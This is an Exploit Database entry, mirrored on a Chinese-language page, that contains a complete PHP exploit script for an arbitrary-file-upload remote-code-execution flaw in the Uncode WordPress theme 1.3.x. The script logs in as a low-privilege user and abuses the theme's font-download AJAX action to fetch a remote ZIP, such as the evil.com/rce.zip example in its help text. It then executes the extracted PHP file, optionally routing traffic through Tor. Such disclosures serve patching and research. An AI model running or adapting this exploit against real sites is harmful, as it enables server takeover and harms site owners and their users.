WordPress Theme Uncode 1.3.1 – Arbitrary File Upload

• Exploit Database
• 15 阅读

• 作者： wp0Day.com
  日期： 2016-06-06
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/39895/

• <?php
  /**
   * Exploit Title: Uncode WP Theme RCE Expoit
   * Google Dork:
   * Exploit Author: wp0Day.com <contact@wp0day.com>
   * Vendor Homepage:
   * Software Link: http://themeforest.net/item/uncode-creative-multiuse-wordpress-theme/13373220
   * Version: 1.3.0 possible 1.3.1
   * Tested on: Debian 8, PHP 5.6.17-3
   * Type: RCE, Arbirary file UPLOAD, (Low Authenticated )
   * Time line: Found [24-APR-2016], Vendor notified [24-APR-2016], Vendor fixed: [27-APR-2016], [RD:1464134400]
   */
  
  
  require_once('curl.php');
  //OR
  //include('https://raw.githubusercontent.com/svyatov/CurlWrapper/master/CurlWrapper.php');
  $curl = new CurlWrapper();
  
  
  $options = getopt("t:u:p:f:",array('tor:'));
  print_r($options);
  $options = validateInput($options);
  
  if (!$options){
  showHelp();
  }
  
  if ($options['tor'] === true)
  {
  echo " ### USING TOR ###\n";
  echo "Setting TOR Proxy...\n";
  $curl->addOption(CURLOPT_PROXY,"http://127.0.0.1:9150/");
  $curl->addOption(CURLOPT_PROXYTYPE,7);
  echo "Checking IPv4 Address\n";
  $curl->get('https://dynamicdns.park-your-domain.com/getip');
  echo "Got IP : ".$curl->getResponse()."\n";
  echo "Are you sure you want to do this?\nType 'wololo' to continue: ";
  $answer = fgets(fopen ("php://stdin","r"));
  if(trim($answer) != 'wololo'){
  die("Aborting!\n");
  }
  echo "OK...\n";
  }
  
  
  function logIn(){
  global $curl, $options;
  file_put_contents('cookies.txt',"\n");
  $curl->setCookieFile('cookies.txt');
  $curl->get($options['t']);
  $data = array('log'=>$options['u'], 'pwd'=>$options['p'], 'redirect_to'=>$options['t'], 'wp-submit'=>'Log In');
  $curl->post($options['t'].'/wp-login.php', $data);
  $status =$curl->getTransferInfo('http_code');
  if ($status !== 302){
  echo "Login probably failed, aborting...\n";
  echo "Login response saved to login.html.\n";
  die();
  }
  file_put_contents('login.html',$curl->getResponse());
  
  
  }
  
  function exploit(){
  global $curl, $options;
  echo "Generateing payload.\n";
  $data = array('action'=>'uncodefont_download_font', 'font_url'=>$options['f']);
  echo "Sending payload\n";
  $curl->post($options['t'].'/wp-admin/admin-ajax.php', $data);
  $resp = $curl->getResponse();
  echo "Eco response: ".$resp."\n";
  $resp = json_decode($resp,true);
  if ($resp['success'] === 'Font downloaded and extracted successfully.'){
  echo "Response ok, calling RCE\n";
  $file_path = parse_url($options['f']);
  $remote_file_info = pathinfo($file_path['path']);
  $zip_file_name = $remote_file_info['basename'];
  $zip_file_name_php= str_replace('.zip', '.php', $zip_file_name);
  $url = $options['t'].'wp-content/uploads/uncode-fonts/'.$zip_file_name.'/'.$zip_file_name_php;
  echo 'Url: '. $url."\n";
  //POC Test mode
  if ($file_path['host'] == 'wp0day.com'){
  echo "Exploit test mode on\n";
  $rnd = rand();
  echo "Rand $rnd, MD5: ".md5($rnd)."\n";
  $url = $url . '?poc='.$rnd;
  }
  $curl->get($url);
  echo "RCE Response:";
  echo $curl->getResponse()."\n\n";
  }
  }
  
  
  logIn();
  exploit();
  
  
  
  function validateInput($options){
  
  if ( !isset($options['t']) || !filter_var($options['t'], FILTER_VALIDATE_URL) ){
  return false;
  }
  if ( !isset($options['u']) ){
  return false;
  }
  if ( !isset($options['p']) ){
  return false;
  }
  if ( !isset($options['f']) ){
  return false;
  }
  if (!preg_match('~/$~',$options['t'])){
  $options['t'] = $options['t'].'/';
  }
  
  $options['tor'] = isset($options['tor']);
  
  return $options;
  }
  
  
  function showHelp(){
  global $argv;
  $help = <<<EOD
  
  Uncode WP Theme RCE Expoit
  
  Usage: php $argv[0] -t [TARGET URL] --tor [USE TOR?] -u [USERNAME] -p [PASSWORD] -f [URL]
  
   *** You need to have a valid login (customer or subscriber will do) in order to use this "exploit" **
  
   [TARGET_URL] http://localhost/wordpress/
   [URL] It must be ZIP file. It gets unzipped into /wp-content/uploads/uncode-fonts/[some.zip]/files folder
   Example: rce.php -> zip -> rce.zip -> http://evil.com/rce.zip -> /wp-content/uploads/uncode-fonts/rce.zip/rce.php
  
  
  
  Examples:
   php $argv[0] -t http://localhost/wordpress --tor=yes -u customer1 -p password -f http://wp0day.com/res/php/poc.zip
  
  Misc:
   CURL Wrapper by Leonid Svyatov <leonid@svyatov.ru>
   @link http://github.com/svyatov/CurlWrapper
   @license http://www.opensource.org/licenses/mit-license.html MIT License
  
  EOD;
  echo $help."\n\n";
  die();
  }